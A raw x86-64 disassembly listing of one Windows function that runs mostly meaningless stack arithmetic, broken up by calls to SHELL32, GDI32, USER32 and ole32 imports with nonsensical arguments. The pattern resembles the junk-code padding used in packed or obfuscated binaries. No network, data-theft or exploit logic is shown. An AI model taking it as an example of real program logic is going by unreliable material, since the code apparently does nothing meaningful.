movzx ecx, byte [rsp + 0x4da]
or eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17ec]
and eax, ecx
mov word [rsp + 0x141c], ax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xed58], rax
mov rax, qword [rsp + 0xedf0]
mov r8, qword [rax]
mov rax, qword [rsp + 0xed18]
mov rdx, qword [rax]
mov ecx, dword [0x1401eee10]
call fcn.1401c5b60
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xed18]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xed48], rax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x75bc], eax
mov ecx, 0x3b
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0xb7c8], eax
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xed40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xeea8], rax
mov rax, qword [rsp + 0xedf0]
mov r8, qword [rax]
mov rax, qword [rsp + 0xed18]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x705c]
call fcn.1401c5b60
mov dword [rsp + 0x28], 0x29
lea rax, [rsp + 0xf428]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x299]
mov r8d, 3
mov edx, 0x29
mov rcx, qword [rsp + 0xed88]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x74f4], eax
mov rax, qword [0x1401eee00]
mov ecx, dword [0x1401eee10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x758c], eax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x257c]
add eax, ecx
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4dd], al
mov edx, 1
mov rcx, qword [rsp + 0xee58]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
movzx eax, byte [rsp + 0x35e]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4dd], al
mov edx, 0xa8
lea rcx, [rsp + 0x758c]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x204d0], rax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e3388], ax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x35e]
add eax, ecx
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2550]
and eax, ecx
mov word [rsp + 0x2570], ax
mov qword [rsp + 0x20], 0xc9
mov r9, qword [rsp + 0x20538]
mov r8, qword [rsp + 0xee30]
mov rdx, qword [rsp + 0xed70]
mov rcx, qword [rsp + 0xf230]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x7600], eax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e3039], al
movsx eax, byte [rsp + 0x4de]
movsx ecx, byte [rsp + 0x4dc]
sub eax, ecx
mov byte [rsp + 0x2b3], al
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xecb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [rsp + 0xed58]
mov rcx, qword [rsp + 0xecd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x74d4]
mov ecx, dword [rsp + 0x7544]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x615c], eax
mov edx, reloc.SHELL32.dll_ILFindLastID
lea rcx, [rsp + 0xed40]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0xef78], rax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x74e4], eax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4dd]
add eax, ecx
mov rcx, qword [rsp + 0xee18]
mov byte [rcx], al
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x141c]
sub eax, ecx
mov word [rsp + 0x2558], ax
movzx eax, word [rsp + 0x255c]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2540], ax
mov rcx, qword [rsp + 0xed08]
call fcn.1401c5950
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x75d4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x615c], eax
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0x2578]
sub eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
lea rcx, [rsp + 0x20548]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0xeee0], rax
movzx eax, byte [0x1401e3039]
movzx ecx, byte [rsp + 0x35e]
add eax, ecx
mov byte [rsp + 0x299], al
jmp 0x1401c52fb
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xecb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xedb8], rax
movsx eax, word [rsp + 0x2544]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e3380], ax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov eax, dword [rsp + 0x75bc]
mov rcx, qword [0x1401eee00]
mov qword [rsp + 0x20540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x20540]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x60e0], eax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x299]
sub eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
lea rcx, [rsp + 0x2554]
call qword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [rsp + 0x74f0], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
sub eax, ecx
mov word [rsp + 0x2578], ax
movsx eax, word [rsp + 0x2550]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2558], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [0x1401eedf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4da], al
lea rcx, [rsp + 0x22630]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x7648], eax
jmp 0x1401c53f4
lea r8, [rsp + 0xede8]
mov rdx, qword [rsp + 0xf2e8]
mov ecx, 0x9c
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x7578], eax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x74d4]
shr eax, cl
mov dword [rsp + 0x68dc], eax
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4d8]
shl eax, cl
mov byte [rsp + 0x2b3], al
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xedb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
movsx eax, word [rsp + 0x2550]
movsx ecx, word [rsp + 0x1240]
sub eax, ecx
mov word [rsp + 0x2558], ax
lea r8, [rsp + 0x751c]
mov edx, 0x7d
mov rcx, qword [rsp + 0xf428]
call qword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [rsp + 0x7570], eax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401eedf0]
mov byte [rcx], al
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35e]
add eax, ecx
mov byte [rsp + 0x4db], al
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x705c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x60e0], eax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
lea rcx, [rsp + 0xed18]
call qword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [rsp + 0x754c], eax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1240]
add eax, ecx
mov word [rsp + 0x141c], ax
movzx eax, byte [rsp + 0x4da]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x35e], al
movzx eax, word [rsp + 0x1694]
movzx ecx, word [rsp + 0x2564]
or eax, ecx
mov word [rsp + 0x255c], ax
mov rax, qword [rsp + 0xed08]
movzx ecx, al
mov rax, qword [rsp + 0xecd0]
shl rax, cl
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xed08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov rcx, qword [rsp + 0xecd0]
call fcn.1401c5950
mov eax, dword [rsp + 0x615c]
mov ecx, dword [rsp + 0x74ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7544], eax
mov eax, dword [rsp + 0x705c]
mov ecx, dword [0x1401eee10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x758c], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
add eax, ecx
mov word [rsp + 0x2540], ax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1240]
sub eax, ecx
mov word [rsp + 0x2558], ax
mov rax, qword [rsp + 0xecd0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xed08]
mov r8, qword [rsp + 0xecd0]
mov rdx, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecb8]
call fcn.1401c5a20
lea rdx, [rsp + 0xecb8]
lea rcx, [rsp + 0xecf8]
call qword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [rsp + 0x7524], eax
movzx eax, byte [rsp + 0x4da]
movzx ecx, byte [rsp + 0x4db]
add eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movzx eax, word [rsp + 0x2540]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
add eax, ecx
mov word [rsp + 0x1694], ax
lea rax, [rsp + 0x74e4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xecf8]
mov r8d, 0xb7
mov edx, 0xf9
mov ecx, ILCreateFromPathW
call qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
mov dword [rsp + 0x74f4], eax
mov edx, dword [rsp + 0x74ec]
movzx ecx, byte [rsp + 0x4da]
call fcn.1401c5ac0
mov eax, dword [rsp + 0x705c]
mov ecx, dword [rsp + 0x751c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
movzx eax, byte [rsp + 0x3fd]
sub eax, 0x46
mov byte [rsp + 0x4d7], al
lea rdx, [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed70]
call qword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [rsp + 0x7578], eax
mov rcx, qword [rsp + 0xecb8]
call fcn.1401c5950
mov eax, dword [rsp + 0x6f68]
add rsp, 0x29460
pop rdi
ret